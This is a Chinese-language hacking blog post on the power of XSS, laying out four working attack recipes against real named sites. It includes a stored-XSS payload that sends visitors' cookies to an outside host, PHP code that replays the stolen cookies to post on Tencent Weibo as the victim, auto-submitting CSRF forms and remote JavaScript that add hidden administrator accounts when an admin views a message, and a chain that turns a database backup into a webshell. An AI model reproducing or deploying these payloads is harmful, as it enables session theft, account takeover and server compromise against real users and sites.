XSS的威力

朋友做了一件搞笑的事:挖了一个站的Csrf 0day,硬是带人家站加了友情链接。

 如今仍很多人没有意识到XSS的威力,他们会说,不就弹个窗么。那好吧,就弹个窗。

 Web2.0时代将是XSS的时代,各种XSS引发的淫荡招数将会越来越多,层出不穷,不信走着瞧。

例1 (php之术)

发视频处插如下代码

http://www.tudou.com/programs/view/TLpmMpTY0eY/"><img src=# onerror='javascript:window.location.href="http://0kee.com/qq/0kee.php?cookie="+document.cookie'>  //读cookie转到php里,没啥好讲的

0kee.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:

 

  
  
  
  
  1. <?php 
  2. ob_start(); 
  3. $url = 't.qq.com'
  4. $cookie=$_GET['cookie']; 
  5. $randnum=rand();//这边的随机数我不知道有何用,我还特地去用腾讯微博抓包了下发现没这项,然后viewmode=0,不过这与主题无关 
  6. $cookie1=$cookie."\r\n\r\n"
  7. fputs(fopen('a.txt','a+'),$cookie1); //写到a.txt里,,留个纪念 
  8. $sock = fsockopen("$url", 80, $errno$errstr, 30); 
  9. if (!$sockdie("$errstr ($errno)\n"); 
  10. $data = "content=http://url.cn/1FDpEd hacked!! xss worm test~~".$randnum."&pic=&countType=&viewModel=1"
  11. fwrite($sock"POST http://$url/publish.php HTTP/1.1\r\n"); //这个publish.php是腾讯的发微博的php 
  12. fwrite($sock"Accept: */*\r\n"); 
  13. fwrite($sock"Referer: http://0kee.com\r\n"); 
  14. fwrite($sock"Accept-Language: zh-cn\r\n"); 
  15. fwrite($sock"Content-Type: application/x-www-form-urlencoded\r\n"); 
  16. fwrite($sock"Accept-Encoding: gzip, deflate\r\n"); //客户端浏览器(我的是IE8),提交包头里会有用gzip压缩 
  17. fwrite($sock"User-Agent: Mozilla\r\n"); 
  18. fwrite($sock"Host: $url\r\n"); 
  19. fwrite($sock"Content-Length: ".strlen($data)."\r\n"); 
  20. fwrite($sock"Connection: Keep-Alive\r\n"); 
  21. fwrite($sock"Cache-Control: no-cache\r\n"); 
  22. fwrite($sock"Cookie:".$cookie."\r\n\r\n"); 
  23. fwrite($sock$data); //上头php代码都是post发数据的老一套 
  24. $headers = ""
  25. while ($str = trim(fgets($sock, 4096))) 
  26.      $headers .= "$str\n"
  27. echo "\n"
  28. $body = ""
  29. while (!feof($sock)) 
  30.      $body .= fgets($sock, 4096); 
  31. fclose($sock); 
  32. Header("Location: http://t.qq.com/txsser");  //作者装x了,唉 
  33. ob_end_flush(); 
  34. ?> 

记得以前校内就有过类似事件,QQ最起码应该晓得过滤<>啊..晕

另一个例子(加管理员之术):

首先拥有一个自己可控的网站,然后构造表单:

 

  
  
  
  
  1. <html> 
  2. <form method="post" action="http://www.stuhack.com/admin/Admin_Admin.asp?" name="form1"> 
  3. <input name="UserName" value="test">    <!--后台ID--> 
  4. <input name="Action" type="hidden" id="Action" value="SaveAdd"> 
  5. <input name="AddUser" value="test">    <!--前台ID--> 
  6. <input type="password" name="Password" value="123456789">    <!--密码--> 
  7. <input type="password" name="PwdConfirm" value="123456789"> <!--重复密码--> 
  8. <input name="Purview_0" type="radio" value="1" onClick="PurviewDetail.style.display='none'" checked> <!--超级管理员权限--> 
  9. </form> 
  10. <mce:script type="text/javascript"><!-- 
  11. document.form1.submit(); 
  12. // --></mce:script> 
  13. </html> 

将以上代码保存为1.asp(文件名随意),并将其上传到自己的可控网站下面,得到你自己的URL地址

在留言标题中插入:

<iframe src=\'#\'" //www.stuhack.com/1.asp" width=0 height=0></iframe>

此漏洞可触发当管理员查看留言内容时直接添加管理员

例3 (略不同于例2,用的是js)

没过滤的部分插  <script src=\'#\'" //127.0.0.1/1.js" </script>
然后等待管理员查看投稿的文章  (这个你可以社工他)  就会触发XSS攻击
远程JS里写  当然  内容限制长度是500 也可以不用调用远程直接写进去可以了

  1 varoReq = newActiveXObject("MSXML2.XMLHTTP");

2 varstr = "do_submit=1&newadmin[username]=thanks&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";

3 oReq.open("POST"," http://127.0.0.1/admin.php?file=admin&action=add",false ); //根据源码修改

4 oReq.setRequestHeader("Content-Length",str.length); 

5 oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");

6 oReq.send(str);

newadmin[username]=thanks  为会员注册账号    既可提升到管理员权限

例4(后台备份之术)

------GetShell-----
[1] 在Book.asp的邮箱处填写一句话,提交
[2] 在Book.asp的邮箱处填写XSS语句中的CSRF
[3] 等待管理员触发XSS语句,然后一句话连接bem.asp
[要求] 默认后台管理目录/数据库
[注意] 管理触发XSS是在后台查看留言

------ X S S -----

Book.asp
在邮箱里处写入XSS语句即可
用XSS调用CSRF,例如把CSRF去转成JS的则用
<SCRIPT SRC=http://521.im/xss.js></SCRIPT>

-----  CSRF  -----

<form method="post" action=" http://127.0.0.1:99/admin/DataM.asp?eims=Data&Action=bfstart ">
<input name="olddata" type="text" id="olddata" value="../Data/eimsCMS.mdb" size="45" readonly>
<input name="newdata" type="text" id="newdata" size="45" value="../bem.asp">
<input type="submit" name="Submit" value="开始备份" id="bem"/>
</form>
<script>
document.getElementByIdx_x('bem').click();
</script>


http://hi.baidu.com/thanks4sec/blog/item/dab3ed02ad92632db1351dfd.html

你可能感兴趣的:(职场,休闲,XSS的威力)